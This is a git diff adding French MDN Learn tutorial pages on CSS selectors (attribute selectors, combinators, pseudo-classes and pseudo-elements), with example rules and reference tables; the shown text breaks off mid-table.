Cette courte leçon a introduit le concept d'overflow ; vous comprenez maintenant que le CSS essaie de ne pas faire disparaître le contenu qui déborde car cela entraînerait des pertes de données. Vous avez découvert que vous pouvez gérer un overflow éventuel, et que vous devez également tester votre travail pour vous assurer que vous ne causez pas accidentellement un overflow problématique.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}

+ +

Dans ce module

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.html new file mode 100644 index 0000000000..415d455e9b --- /dev/null +++ b/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.html @@ -0,0 +1,177 @@ +--- +title: Sélecteurs d'attribut +slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut +tags: + - Apprendre + - Attribut + - CSS + - Débutant + - Sélecteurs +translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}

+ +

Dans l'étude de HTML, nous avons vu les attributs d'un élément. En CSS, on peut utiliser ces attributs pour cibler les éléments. Cette leçon vous montre comment.

+ + + + + + + + + + + + +
Prérequis :Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif :Découvrir les sélecteurs d'attribut et comment les utiliser.
+ +

Sélecteur de présence et de valeur

+ +

Ces sélecteurs permettent de cibler un élément en fonction de la présence d'un attribut unique (par exemple href), ou sur des correspondances variées avec la valeur d'un attribut donné

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SélecteurExempleDescription
[attr]a[title]Cible les éléments avec un attribut du nom de attr — la valeur entre les crochets droits.
[attr=value]a[href="https://example.com"]Cible les éléments dont l'attribut attr a la valeur value — la chaîne entre guillemets.
[attr~=value]p[class~="special"] +

Cible les éléments avec un attribut attr dont la valeur est exactement value, ou les éléments dont l'attribut attr contient une ou plusieurs valeurs, dont au moins une correspond à value.

+ +

Notez que dans une liste de plusieurs valeurs, le séparateur est l'espace.

+
[attr|=value]div[lang|="zh"]Cible les éléments avec un attribut attr dont la valeur peut être exactement value ou peut commencer par value immédiatement suivie d'un trait d'union.
+ +

Dans l'exemple ci-dessous vous voyez ces sélecteurs en action :

+ +
    +
  • Avec li[class] on cible tout élément <li> possédant un attribut class. On cible ainsi tous les list items sauf le premier.
    • +
  • li[class="a"] cible les <li> appartenant à la classe a et seulement elle. Un élément <li> dans la classe a mais aussi dans une autre classe ne sera pas sélectionné. Ce sélecteur cible le deuxième item de la liste.
    • +
  • li[class~="a"] cible tout élément <li> dont l'attribut class contient a dans sa liste de valeurs (séparées par des espaces). Les items deux et trois de la liste sont sélectionnés.
    • +
+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}

+ +

Sélecteurs ciblant une sous-chaîne 

+ +

Ces sélecteurs permettent une sélection plus fine des sous-chaînes à l'intérieur de la valeur de l'attribut. Par exemple, vous avez défini des classes  box-warning et box-error,  vous voulez cibler les classes dont le nom commence par "box-". Le sélecteur d'attribut [class ^= "box-"] est là pour ça.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SélecteurExempleDescription
[attr^=value]li[class^="box-"]élément sélectionné quand la valeur value de l'attribut attr commence par la sous-chaîne value.
[attr$=value]li[class$="-box"]élément sélectionné quand la valeur de l'attribut attr finit par la sous-chaîne value. 
[attr*=value ]li[class*="box"]élément sélectionné quand la
+ la sous-chaîne value apparaît quelque part dans la valeur de l'attribut attr.
+ +

L'exemple suivant montre ces sélecteurs en action :

+ +
    +
  • li[class^="a"] correspond à toute valeur d'attribut commençant par un a, ce sélecteur cible donc les deux premiers items de la liste.
    • +
  • li[class$="a"] correspond à toute valeur d'attribut finissant par un a, ce sélecteur cible donc les items un et trois de la liste.
    • +
  • li[class*="a"] correspond à toute valeur d'attribut contenant quelquepart un a, ce sélecteur cible donc tous les items de la liste.
    • +
+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}

+ +

Sensibilité à la casse

+ +

Pour cibler des valeurs d'attribut sans prendre en compte la casse (majucule ou minuscule indifférentes), ajoutez la valeur i avant la parenthèse fermante. Ce drapeau signale au navigateur d'identifier les caractères ASCII sans se préoccuper de la casse (a = A). Sans le drapeau i, les valeurs seront identifiées selon la sensibilité à la casse de la langue du document — HTML est sensible à la casse.

+ +

Dans l'exemple ci-dessous, le premier sélecteur cible les valeurs commençant par un a — seul le premier élément de la liste est ciblé, les deux suivants commencent par un A majuscule. Le second sélecteur est marqué du drapeau insensible à la casse, il cible donc tous les éléments de la liste.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}

+ +
+

Note : Dans des contextes normalement insensibles à la casse, on peut forcer la sensibilité avec la valeur s nouvellement introduite, mais sa prise en charge par les navigateurs est inégale ; elle n'est pas très utile dans un contexte HTML.

+
+ +

À faire vous-mêmes

+ +

Dans l'exemple live ci-dessous, ajoutez les sélecteurs d'attribut pour obtenir les comportements suivants :

+ +
    +
  • Cibler l'élément <a> ayant un attribut title et colorer sa bordure en rose (border-color: pink).
    • +
  • Cibler l'élément <a> dont l'attribut href contient le mot contact quelque part dans sa valeur et colorer sa bordure en orange (border-color: orange).
    • +
  • Cibler l'élément <a> dont la valeur href commence par https et colorer sa bordure en vert (border-color: green).
    • +
+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-links.html", '100%', 800)}}

+ +
+

Note : Vous pouvez jeter un œil à la solution ici —  mais essayez d'abord de la trouver par vous-même !

+
+ +

Pas suivants

+ +

Nous en avons fini avec les sélecteurs d'attribut, vous pouvez maintenant continuer la visite et passer aux sélecteurs de pseudo-classes et pseudo-éléments.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}

+ +

Dans ce cours

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/selectors/combinators/index.html b/files/fr/learn/css/building_blocks/selectors/combinators/index.html new file mode 100644 index 0000000000..080ef78d83 --- /dev/null +++ b/files/fr/learn/css/building_blocks/selectors/combinators/index.html @@ -0,0 +1,114 @@ +--- +title: Combinateurs +slug: Apprendre/CSS/Building_blocks/Selectors/Combinateurs +tags: + - CSS + - Sélecteurs + - combinateurs +translation_of: Learn/CSS/Building_blocks/Selectors/Combinators +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}

+ +

Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, car ils combinent différents sélecteurs de façon à leur donner une relation utile et l'emplacement du contenu dans le document.

+ + + + + + + + + + + + +
Prérequis:Connaissances informatiques de base, les outils de base installés, connaissance de base de gestion des fichiers, les bases du HTML (voir Introduction au HTML), et une idée du fonctionnement du CSS (voir Premiers pas avec CSS.)
Objectif:En savoir plus sur les différents sélecteurs combinateurs utilisables en CSS.
+ +

Combinateur descendant

+ +

Le combinateur descendant— en général représenté par un seul espace ( ) — combine deux sélecteurs de sorte que les éléments choisis par le second sélecteur sont sélectionnés s'ils ont un élément ancêtre (parent, parent de parent, parent de parent de parent, etc...) qui correspond au premier sélecteur. Les sélecteurs qui utilisent un combinateur descendant sont appelés sélecteurs descendants.

+ +
body article p
+
+ +

Dans l'exemple ci-dessous, nous ne sélectionnons que l'élément <p>, qui est à l'intérieur d'un élément de classe .box.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}

+ +

Combinateur enfant

+ +

Le combinateur enfant (>) est placé entre deux sélecteurs CSS. Il correspond uniquement aux éléments correspondant au second sélecteur qui sont les enfants directs des éléments correspondants au premier. Les éléments descendants plus bas dans la hiérarchie ne correspondent pas. Par exemple, pour sélectionner uniquement les éléments <p> qui sont des enfants directs des éléments <article>:

+ +
article > p
+ +

Dans cet exemple suivant, nous avons une liste non ordonnée, imbriquée à l'intérieur de laquelle se trouve une liste ordonnée. Nous utilisons le combinateur enfant pour sélectionner uniquement les éléments <li> qui sont un enfant direct d'un <ul>, et leur ai donné une bordure supérieure.

+ +

si vous supprimez le > qui désigne cela comme un combinateur enfant, vous vous retrouvez avec un sélecteur descendant et tous les éléments <li> auront une bordure rouge.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}

+ +

Combinateur frère adjacents

+ +

Le sélecteur de frère adjacent (+) est utilisé pour sélectionner quelque chose s'il est juste à côté d'un autre élément au même niveau de la hiérarchie. Par exemple, pour sélectionner tous les éléments <img> qui viennent juste après les éléments <p>:

+ +
p + img
+ +

Un cas d'utilisation courant consiste à faire quelque chose avec un paragraphe qui suit un titre, comme dans mon exemple ci-dessous. Ici, nous recherchons un paragraphe qui est directement adjacent à un <h1>, et le stylisons.

+ +

Si vous insérez un autre élément tel qu'un <h2> entre le <h1> et le <p>, vous constaterez que le paragraphe ne correspond plus au sélecteur et ne reçoit donc pas la couleur d'arrière-plan et de premier plan appliquée lorsque le l'élément est adjacent.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}

+ +

Combinateur général de frères

+ +

Si vous souhaitez sélectionner les frères d'un élément même s'ils ne sont pas directement adjacents, vous pouvez utiliser le combinateur général de frères (~). Pour sélectionner tous les éléments <img> qui viennent n'importe où après les éléments <p>, nous ferions ceci:

+ +
p ~ img
+ +

Dans l'exemple ci-dessous, nous sélectionnons tous les éléments <p> qui viennent après le <h1>, et même s'il y a aussi un <div> dans le document, le <p> qui vient après qu'il est sélectionné.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}

+ +

Utilisation de combinateurs

+ +

Vous pouvez combiner n'importe lequel des sélecteurs que nous avons découverts dans les leçons précédentes avec des combinateurs afin de sélectionner une partie de votre document. Par exemple, si nous voulons sélectionner des éléments de liste avec une classe de "a", qui sont des enfants directs d'un <ul>, je pourrais utiliser ce qui suit.

+ +
ul > li[class="a"]  {  }
+ +

Faites cependant attention lorsque vous créez de grandes listes de sélecteurs qui sélectionnent des parties très spécifiques de votre document. Il sera difficile de réutiliser les règles CSS car vous avez rendu le sélecteur très spécifique à l'emplacement de cet élément dans le balisage.

+ +

Il est souvent préférable de créer une classe simple et de l'appliquer à l'élément en question. Cela dit, votre connaissance des combinateurs vous sera très utile si vous avez besoin d'accéder à quelque chose dans votre document et que vous ne parvenez pas à accéder au HTML, peut-être parce qu'il est généré par un CMS.

+ +

Testez vos compétences!

+ +

Nous en avons beaucoup vu dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes? Vous pouvez trouver d'autres tests pour vérifier que vous avez conservé ces informations avant de continuer - voir Test your skills: Selectors.

+ +

Passer à la suite

+ +

Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous passerons à une autre partie importante du CSS - le modèle de Boîte.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}

+ +

Dans ce module

+ +
    +
  1. Cascade et héritage
    2. +
  2. Sélecteurs CSS + +
    3. +
  3. Le modèle de Boîte
    4. +
  4. Arrières-plans et bordures
    5. +
  5. Gestion de différentes directions de texte
    6. +
  6. Débordement de contenu
    7. +
  7. Valeurs et unités
    8. +
  8. Taille des élements
    9. +
  9. Images, média, et élements de formulaire
    10. +
  10. Mise en page de tableaux
    11. +
  11. Débogage CSS
    12. +
  12. Organiser votre CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/selectors/index.html b/files/fr/learn/css/building_blocks/selectors/index.html new file mode 100644 index 0000000000..359c762301 --- /dev/null +++ b/files/fr/learn/css/building_blocks/selectors/index.html @@ -0,0 +1,223 @@ +--- +title: Sélecteurs CSS +slug: Apprendre/CSS/Building_blocks/Selectors +translation_of: Learn/CSS/Building_blocks/Selectors +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}
+ +

Dans {{Glossary("CSS")}}, les sélecteurs sont utilisés pour cibler les éléments {{glossary("HTML")}} à mettre en forme dans nos pages web. CSS propose une grande diversité de sélecteurs, offrant ainsi une précision très fine dans la façon de cibler les éléments. Dans cet article nous explorerons en détails le fonctionnement de ces différents types.

+ + + + + + + + + + + + +
Prérequis :Notions de base en l'informatique, logiciels de base installés, savoir manipuler des fichiers, connaissance de base de HTML (cf. Introduction à HTML.) et une première idée du fonctionnement de CSS (voir premiers pas en CSS.)
Objectif :Voir dans les détails comment les sélecteurs CSS fonctionnent.
+ +

Qu'est ce qu'un sélecteur ?

+ +

Vous les avez déjà rencontré : toute règle CSS commence par un sélecteur. Un sélecteur est une expression qui indique au navigateur à quelle entité HTML s'applique la règle CSS correspondante. Le ou les éléments ciblés par le sélecteur sont le sujet de ce sélecteur.

+ +

Some code with the h1 highlighted.

+ +

Vous avez rencontrés plusieurs sélecteurs dans des articles précédents, vous avez vu que les sélecteurs ont différentes façons de cibler le document HTML — on peut par exemple cibler les éléments h1, ou la classe  .special.

+ +

En CSS, les sélecteurs sont définis dans la spécification CSS Selectors ; comme tout le reste de CSS le bon fonctionnement des sélecteurs dépend de la prise en charge par les navigateurs. La plupart des sélecteurs que vous rencontrerez sont définis dans la Level 3 Selectors specification, une spécification mature, la prise en charge par les navigateurs est donc complète.

+ +

Listes de sélecteurs

+ +

Quand un groupe de déclarations CSS s'applique à plusieurs éléments distincts, on peut combiner les sélecteurs individuels en une liste. Par exemple, si j'ai le même CSS pour un h1 et pour une classe .special, je pourrais écrire deux règles :

+ +
h1 {
+  color: blue;
+}
+
+.special {
+  color: blue;
+}
+ +

ou bien une seule règle en combinant les sélecteurs, séparés par une virgule :

+ +
h1, .special {
+  color: blue;
+}
+ +

L'espace est valide avant ou après la virgule. Vous trouverez peut-être la version suivante plus lisible avec un sélecteur par ligne :

+ +
h1,
+.special {
+  color: blue;
+}
+ +

Dans l'exemple live ci-dessous, essayez de combiner les sélecteurs dont les déclarations sont identiques. Le rendu visuel devrait être inchangé.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} 

+ +

Quand on regroupe ainsi des sélecteurs, si l'un des sélecteurs est invalide la règle toute entière sera ignorée.

+ +

Dans l'exemple suivant, la règle avec le sélecteur de classe invalide sera ignorée, alors que le h1 sera mis en forme comme prévu.

+ +
h1 {
+  color: blue;
+}
+
+..special {
+  color: blue;
+}
+ +

En combinant les sélecteurs, la règle est considérée invalide et donc ignorée : ni h1 ni les éléments de classe .special ne seront mis en forme.

+ +
h1, ..special {
+  color: blue;
+}
+ +

Types de sélecteurs

+ +

On peut regrouper les sélecteurs en différents groupes ; classer les sélecteurs par type vous aidera à identifier l'outil pertinent pour chaque situation. Dans les sections suivantes, nous passons en revue ces différents types de sélecteurs.

+ +

Sélecteurs de type, de classe , et d'ID

+ +

Ce groupe inclut les sélecteurs ciblant les élements HTML tels que <h1> :

+ +
h1 { }
+ +

On trouve aussi les sélecteurs ciblant une classe :

+ +
.box { }
+ +

ou une  ID :

+ +
#unique { }
+ +

Sélecteurs d'attribut

+ +

Ce groupe de sélecteurs offre différents mécanismes pour cibler des éléments en fonction de la présence d'un attribut donné pour un élément donné :

+ +
a[title] { }
+ +

Ou même de baser la sélection sur la présence d'un attribut avec une valeur bien précise :

+ +
a[href="https://example.com"] { }
+ +

Pseudo-classes et pseudo-éléments

+ +

Ce groupe de sélecteurs inclut les pseudo-classes, qui ciblent des éléments dans un état donné. Par exemple, la pseudo-classe :hover sélectionne un élément seulement s'il est survolé par le pointeur de la souris :

+ +
a:hover { }
+ +

Ce groupe inclut aussi les pseudo-éléments, qui ciblent une certaine partie d'un élément plutôt que l'élément tout entier. Par exemple, ::first-line sélectionne la première ligne d'un texte contenu dans un élément (un <p> dans l'exemple ci-dessous), comme si la première ligne du texte mis en forme était placée entre  <span>  et qu'après coup on appliquait un style sur cet élément.

+ +
p::first-line { }
+ +

Combinateurs

+ +

Dans la dernière catégorie, on combine les sélecteurs pour cibler plus finement les éléments dans nos documents. L'exemple suivant sélectionne les paragraphes enfants directs de <article>  grâce au combinateur enfant (>) :

+ +
article > p { }
+ +

À faire ensuite

+ +

Vous pouvez consulter ci-dessous le tableau de référence des sélecteurs avec des liens directs vers les différents types de sélecteurs dans cette section Apprendre ou dans d'autres rubriques de MDN ;  vous pouvez aussi suivre le fil de ce cours et en apprendre plus sur les sélecteurs de type, de classe, et d'ID.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}

+ +

Table de référence des sélecteurs

+ +

Le tableau ci-dessous donne un aperçu des sélecteurs disponibles, ainsi que des liens vers les pages qui vous montreront comment utiliser chaque type de sélecteur. J'ai également inclus un lien vers la page MDN pour chaque sélecteur où vous pouvez vérifier les informations sur la prise en charge par les navigateurs. Pour la suite de ce cours, ou dans vos expériences CSS à venir, cette table sera votre référence quand vous  rechercherez des informations sur les sélecteurs.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SélecteurExempleTutoriel CSS
Sélecteur de typeh1 {  }Sélecteurs de type
Sélecteur universel* {  }The universal selector
Sélecteur de classe.box {  }Class selectors
Sélecteur d'ID#unique { }ID selectors
Sélecteur d'attributa[title] {  }Attribute selectors
Pseudo-class selectorsp:first-child { }Pseudo-classes
Pseudo-element selectorsp::first-line { }Pseudo-elements
Sélecteur descendantarticle pDescendant combinator
Sélecteur enfantarticle > pChild combinator
Sélecteur de frére adjacenth1 + pAdjacent sibling
Sélecteur de frère généralh1 ~ pGeneral sibling
+ +

Dans ce module

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html new file mode 100644 index 0000000000..6bfb96e324 --- /dev/null +++ b/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html @@ -0,0 +1,399 @@ +--- +title: Pseudo-classes et pseudo-éléments +slug: Apprendre/CSS/Building_blocks/Selectors/Pseudo-classes_et_pseudo-éléments +tags: + - Apprendre + - CSS + - Débutant + - Pseudo + - Pseudo-class + - Pseudo-element + - Sélecteurs +translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements +--- +

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}

+ +

Voyons maintenant les sélecteurs de pseudo-classes et de pseudo-éléments. Il en existe un grand nombre, ces sélecteurs sont souvent assez spécifiques. Une fois que vous aurez compris comment les utiliser, revenez consulter leur liste pour voir si quelque chose peut fonctionner dans la tâche que vous essayez d'accomplir. Une fois encore, vérifiez la prise en charge par les navigateurs sur la page MDN associée à chaque sélecteur.

+ + + + + + + + + + + + +
Prérequis :Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif :Découvrir les sélecteurs de pseudo-classes et de pseudo-éléments.
+ +

Qu'est ce qu'une pseudo-classe ?

+ +

Une pseudo-classe est un sélecteur ciblant des éléments dans un état spécifique, par ex. le premier élément d'un type, ou un élément survolé par le pointeur de la souris. Leur comportement correspond à celui d'une classe, mais qui ne s'appliquerait que partiellement. On gagne ainsi en flexibilité, en éliminant du code inutile. Le résultat est plus facile à maintenir.

+ +

Les pseudo-classes sont signalées par un mot clé commençant par deux points :

+ +
:pseudo-class-name
+ +

Exemple d'une pseudo-classe élémentaire 

+ +

Voyons cela dans un premier exemple. Pour agrandir et mettre en gras le texte du premier paragraphe d'un article, on pourrait attribuer une classe à ce paragraphe, puis lui ajouter du CSS, comme ci-dessous :

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}

+ +

Mais cette solution est difficile à maintenir — que se passe-t-il si un nouveau paragraphe est ajouté en haut du document ? Il faut dans ce cas déplacer manuellement la classe vers le nouveau paragraphe. Une solution plus souple est d'utiliser le sélecteur de pseudo-classe {{cssxref (": first-child")}} — cela cible dans tous les cas le premier élément enfant de l'article : plus nécessaire d'éditer le code HTML (particulièrement utile en particulier quand le code HTML est généré par un CMS.)

+ +

{{EmbedGHLiveSample ("css-examples/learn/selectors/first-child2.html", '100%', 700)}}

+ +

Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les éléments du document dans un état donné, comme si vous aviez ajouté une classe dans votre code HTML. Jetez un œil à quelques exemples sur MDN :

+ + + +

Pseudo-classes d'action utilisateur

+ +

Certaines pseudo-classes ne s'appliquent que lorsque l'utilisateur interagit avec le document d'une manière ou d'une autre. Ces pseudo-classes d'action utilisateur, parfois appelées pseudo-classes dynamiques, agissent comme si une classe avait été ajoutée à l'élément lorsque l'utilisateur interagit avec lui. Par exemple :

+ +

:hover — mentionné ci-dessus ; s'applique quand l'utilisateur déplace son pointeur sur un élément, généralement un lien.
+ :focus — s'applique uniquement si l'utilisateur concentre l'élément à l'aide des commandes du clavier.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}

+ +

Qu'est ce qu'un pseudo-élément ?

+ +

Les pseudo-éléments se comportent de manière similaire, même s'ils se comportent comme si vous aviez ajouté un tout nouvel élément HTML dans le balisage, au lieu d'appliquer une classe à des éléments existants. Les pseudo-éléments commencent avec un double deux-points ::.

+ +
::pseudo-element-name
+ +
+

Note : Certains anciens pseudo-éléments utilisaient un simple deux-points, vous pouvez donc parfois rencontrer cette syntaxe dans du code ou des exemples. Les navigateurs modernes supportent les anciens pseudo-éléments avec un simple ou double deux-points pour assurer la compatibilité.

+
+ +

Par exemple, si vous souhaitez sélectionner la première ligne d'un paragraphe, vous pouvez l'entourer d'un élément <span> et utiliser un sélecteur d'éléments ; cependant, cela échouerait si le nombre de mots que vous avez entourés était plus long ou plus court que la largeur de l'élément parent. Comme nous avons tendance à ne pas savoir combien de mots tiendront sur une ligne - étant donné que cela peut varier si la largeur de l'écran ou la taille de la police change - il est impossible de le faire de manière robuste en ajoutant du HTML.

+ +

Le pseudo-sélecteur d'éléments ::first-line  le fera pour vous de manière fiable - même si le nombre de mots augmente ou diminue, il ne sélectionnera que la première ligne.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}

+ +

Il agit comme si un <span> était comme par magie placé autour de cette première ligne formatée, et était mis à jour à chaque fois que la longueur de la ligne changeait.

+ +

Vous pouvez voir que cela sélectionne la première ligne des deux paragraphes.

+ +

Combiner pseudo-classes et pseudo-éléments

+ +

Si vous souhaitez mettre en gras la première ligne du premier paragraphe, vous pouvez enchaîner les sélecteurs :first-child et ::first-line Essayez de modifier l'exemple précédent en direct pour qu'il utilise le CSS suivant. Nous souhaitons sélectionner la première ligne du premier élément <p>, qui se trouve à l'intérieur d'un élément <article>

+ +
article p:first-child::first-line {
+  font-size: 120%;
+  font-weight: bold;
+}
+ +

Générer du contenu avec ::before et ::after

+ +

Il existe quelques pseudo-éléments spéciaux, qui sont utilisés avec la propriété content pour insérer du contenu dans votre document en utilisant le CSS.

+ +

Vous pouvez les utiliser pour insérer une chaîne de texte, comme dans l'exemple ci-dessous. Essayez de changer la valeur du texte de la propriété {{cssxref("content")}} et vous verrez qu'elle change en sortie. Vous pouvez également changer le pseudo-élément ::before en  ::after et voir le texte inséré à la fin de l'élément au lieu du début.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}

+ +

L'insertion de chaînes de caractères à partir de CSS n'est pas vraiment quelque chose que nous faisons très souvent sur le web, car ce texte est inaccessible pour certains lecteurs d'écran et pourrait être difficile à trouver et à modifier à l'avenir.

+ +

Une utilisation plus pertinente de ces pseudo-éléments consiste à insérer une icône, par exemple la petite flèche ajoutée dans l'exemple ci-dessous, qui est un indicateur visuel que nous ne voudrions pas voir lu par un lecteur d'écran :

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}

+ +

Ces pseudo-éléments sont aussi fréquemment utilisés pour insérer une chaîne vide, qui peut ensuite être stylisée comme n'importe quel élément de la page.

+ +

Dans l'exemple suivant, nous avons ajouté une chaîne vide en utilisant le e pseudo-élément ::before pseudo-element. Nous l'avons défini en display: block afin de pouvoir la styliser avec une largeur et une hauteur. Nous utilisons ensuite le CSS pour la styliser comme n'importe quel élément. Vous pouvez jouer avec le CSS et modifier son apparence et son comportement.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}

+ +

L'utilisation des pseudo-éléments ::before et ::after avec la propriété content est appelée "Generated Content" en CSS, et vous verrez souvent cette technique utilisée pour diverses tâches. Un bon exemple est le site CSS Arrow Please, qui vous aide à générer une flèche avec le CSS. Examinez le CSS lorsque vous créez votre flèche et vous verrez les pseudo-éléments {{cssxref("::before")}} and {{cssxref("::after")}}utilisés. Chaque fois que vous voyez ces sélecteurs, regardez la propriété {{cssxref("content")}} pour voir ce qui est ajouté au document.

+ +

Section de référence

+ +

Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne liste de références est donc utile. Vous trouverez ci-dessous des tableaux les répertoriant, avec pour chacun le lien vers la page de référence sur MDN. Vous y trouverez toutes les informations sur leur utilisation.

+ +

Pseudo-classes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SélecteurDescription
{{ Cssxref(":active") }}Matches when the user activates (for example clicks on) an element.
{{ Cssxref(":any-link") }}Matches both the :link and :visited states of a link.
{{ Cssxref(":blank") }}Matches an <input> element whose input value is empty.
{{ Cssxref(":checked") }}Matches a radio button or checkbox in the selected state.
{{ Cssxref(":current") }}Matches the element, or an ancestor of the element, that is currently being displayed.
{{ Cssxref(":default") }}Matches the one or more UI elements that are the default among a set of similar elements.
{{ Cssxref(":dir") }}Select an element based on its directionality (value of the HTML dir attribute or CSS direction property).
{{ Cssxref(":disabled") }}Matches user interface elements that are in an disabled state.
{{ Cssxref(":empty") }}Matches an element that has no children except optionally white space.
{{ Cssxref(":enabled") }}Matches user interface elements that are in an enabled state.
{{ Cssxref(":first") }}In Paged Media, matches the first page.
{{ Cssxref(":first-child") }}Matches an element that is first among its siblings.
{{ Cssxref(":first-of-type") }}Matches an element which is first of a certain type among its siblings.
{{ Cssxref(":focus") }}Matches when an element has focus.
{{ Cssxref(":focus-visible")}}Matches when an element has focus and the focus should be visible to the user.
{{ Cssxref(":focus-within") }}Matches an element with focus plus an element with a descendent that has focus.
{{ Cssxref(":future") }}Matches the elements after the current element.
{{ Cssxref(":hover") }}Matches when the user hovers over an element.
{{ Cssxref(":indeterminate") }}Matches UI elements whose value is in an indeterminate state, usually checkboxes.
{{ Cssxref(":in-range") }}Matches an element with a range when its value is in-range.
{{ Cssxref(":invalid") }}Matches an element, such as an <input>, in an invalid state.
{{ Cssxref(":lang") }}Matches an element based on language (value of the HTML lang attribute).
{{ Cssxref(":last-child") }}Matches an element which is last among its siblings.
{{ Cssxref(":last-of-type") }}Matches an element of a certain type that is last among its siblings.
{{ Cssxref(":left") }}In Paged Media, matches left-hand pages.
{{ Cssxref(":link")}}Matches unvisited links.
{{ Cssxref(":local-link")}}Matches links pointing to pages that are in the same site as the current document.
